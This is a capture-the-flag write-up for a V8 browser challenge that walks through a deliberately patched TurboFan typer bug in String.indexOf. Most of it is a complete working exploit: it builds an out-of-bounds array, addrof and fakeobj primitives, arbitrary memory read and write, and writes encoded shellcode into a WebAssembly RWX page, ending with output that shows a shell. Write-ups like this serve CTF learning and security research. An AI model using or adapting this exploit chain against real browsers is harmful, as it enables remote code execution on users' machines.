UIUCTF shouldve-had-a-v8 Browser Challenge Mini Writeup ## Vulnerability Patch file : ```javascript= diff --git a/src/compiler/js-create-lowering.cc b/src/compiler/js-create-lowering.cc index 899922a27f..aea23fe7ea 100644 --- a/src/compiler/js-create-lowering.cc +++ b/src/compiler/js-create-lowering.cc @@ -681,7 +681,7 @@ Reduction JSCreateLowering::ReduceJSCreateArray(Node* node) { int capacity = static_cast<int>(length_type.Max()); // Replace length with a constant in order to protect against a potential // typer bug leading to length > capacity. - length = jsgraph()->Constant(capacity); + //length = jsgraph()->Constant(capacity); return ReduceNewArray(node, length, capacity, *initial_map, elements_kind, allocation, slack_tracking_prediction); } diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index 0f18222236..0f76ad896e 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -2073,7 +2073,7 @@ Type Typer::Visitor::TypeStringFromCodePointAt(Node* node) { } Type Typer::Visitor::TypeStringIndexOf(Node* node) { - return Type::Range(-1.0, String::kMaxLength, zone()); + return Type::Range(0, String::kMaxLength, zone()); } Type Typer::Visitor::TypeStringLength(Node* node) { ------------------------------------------------------------------------------------ ``` Basically the vulnerability is a range miscalculation. The optimizer's assumptions are wrong about the range of values `string.indexOf` can return and the optimizer misses the `-1` case. Because of this, when `-1` occurs, there is a difference between the inferred value and actual value. We use this confusion to create an array having length greater than its length because in `ReduceJSCreateArray` the length is calculated by the graph generated by the optimizer. Helpful links : [P0 blogpost][P0] [P0]: https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html [JeremyFetiveau Exploit][__x86] [__x86]: https://github.com/JeremyFetiveau/TurboFan-exploit-for-issue-762874 ## Exploit So the goal is creating an array with length `-1` however `-1` wont work directly. Here is an example failed attempt : * `new Array("".indexOf('A'))` This fails is because turbofan will optimize away the `"".indexOf('A'))` to a constant 0 so eventually we get an array of length 0. We need to put and object with a string property inside trigger function to keep the constant folding from happening too soon. Note : when you tried things like `Math.min`. So we need to delay that until a phase after that, but before Simplified Lowering, in order to successfully trigger the `Array(-1)` Reference : [Exploiting the Math.expm1 typing bug in V8][Test] [Test]: https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/ When we got oob access then rest of the part is about : * Getting addrof * Gaining read and write primitives * Creating a Wasm Page (RWX) * Inject shellcode ```javascript= var conversion_buffer = new ArrayBuffer(8); var float_view = new Float64Array(conversion_buffer); var int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } function gc() { for (var i = 0; i < 0x10000; ++i) var a = new ArrayBuffer(); } if (typeof print === undefined) { var print = console.log; } var shellcode = [4.349575388168352e+199, 1.0543077975713235e-68, 1.9656830452247845e-236, 1.288531947997e-312, -6.828527034370483e-229]; function pwn() { gc(); var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var module = new WebAssembly.Module(code); var instance = new WebAssembly.Instance(module); var main = instance.exports.main; function trigger(foo) { let obj = {s: foo ? "" : "fuck"}; var x = String.prototype.indexOf.call(obj.s, "fuck"); x = x >> 30; let oob_smi = new Array(x); return oob_smi; } for (var i = 0; i < 0x4000; i++) { trigger(false); } let oob_double = trigger(true); print("[+] oob_double.length = " + oob_double.length); new Promise(() => { oob_double[0] = 3.14; let arr_victim = [{}]; function addrof(obj) { arr_victim[0] = obj; return (oob_double[1].f2i() & 0xffffffffn) - 1n; } function fakeobj(addr) { oob_double[1] = (addr | 1n).i2f(); return arr_victim[0]; } let addr_proto = addrof(Array.prototype); print("[+] addr_proto = " + addr_proto.hex()); let fake_map = [ 0x1604040487654321n.i2f(), 0x0a0007ff2100043dn.i2f(), (addr_proto | 1n).i2f() ]; let addr_fake_map = addrof(fake_map) + 0x34n; console.log("[+] fake_map = " + addr_fake_map.hex()); let real_array = [(addr_fake_map | 1n).i2f(), 3.14]; real_array[1] = 2.17; let addr_fake_array = addrof(real_array) - 0x10n; console.log("[+] fake_array = " + addr_fake_array.hex()); let fake_array = fakeobj(addr_fake_array); function half_aar64(addr) { real_array[1] = (0x888800000001n | (addr-8n)).i2f(); return fake_array[0].f2i(); } function half_aaw64(addr, value) { real_array[1] = (0x888800000001n | (addr-8n)).i2f(); fake_array[0] = value.i2f(); } function half_cleanup() { real_array[0] = 0.0; real_array[1] = 0.0; } let leaker = new Uint8Array(1); let addr_leaker = addrof(leaker); let compress_high = half_aar64(addr_leaker + 0x28n) & 0xffffffff00000000n; console.log("[+] high = " + compress_high.hex()); let evil = new Float64Array(0x10); let addr_evil = addrof(evil); console.log("[+] addr_evil = " + addr_evil.hex()); let orig_evil = half_aar64(addr_evil + 0x28n); function full_aar64(addr) { half_aaw64(addr_evil + 0x28n, addr); return evil[0].f2i(); } function full_aaw64(addr, value) { half_aaw64(addr_evil + 0x28n, addr); evil[0] = value.i2f(); } function full_cleanup() { half_aaw64(addr_evil + 0x28n, orig_evil); } let addr_instance = addrof(instance); console.log("[+] addr_instance = " + addr_instance.hex()); let addr_shellcode = half_aar64(addr_instance + 0x68n); console.log("[+] addr_shellcode = " + addr_shellcode.hex()); for (let i = 0; i < shellcode.length; i++) { full_aaw64(addr_shellcode + BigInt(i*8), shellcode[i].f2i()); } main(); full_cleanup(); half_cleanup(); }).then(); } pwn(); ``` Thanks for help [ptr-yudai][Test2] [Test2]:https://twitter.com/ptrYudai Result : ```javascript= ./d8 ./exploit.js [+] oob_double.length = -1 [+] addr_proto = 0x820b958 [+] fake_map = 0x80aaf60 [+] fake_array = 0x80ab0a0 [+] high = 0x210500000000 [+] addr_evil = 0x80ab400 [+] addr_instance = 0x82134d4 [+] addr_shellcode = 0x214a689cb000 $ id uid=1000(test) gid=1000(test) groups=1000(test) ```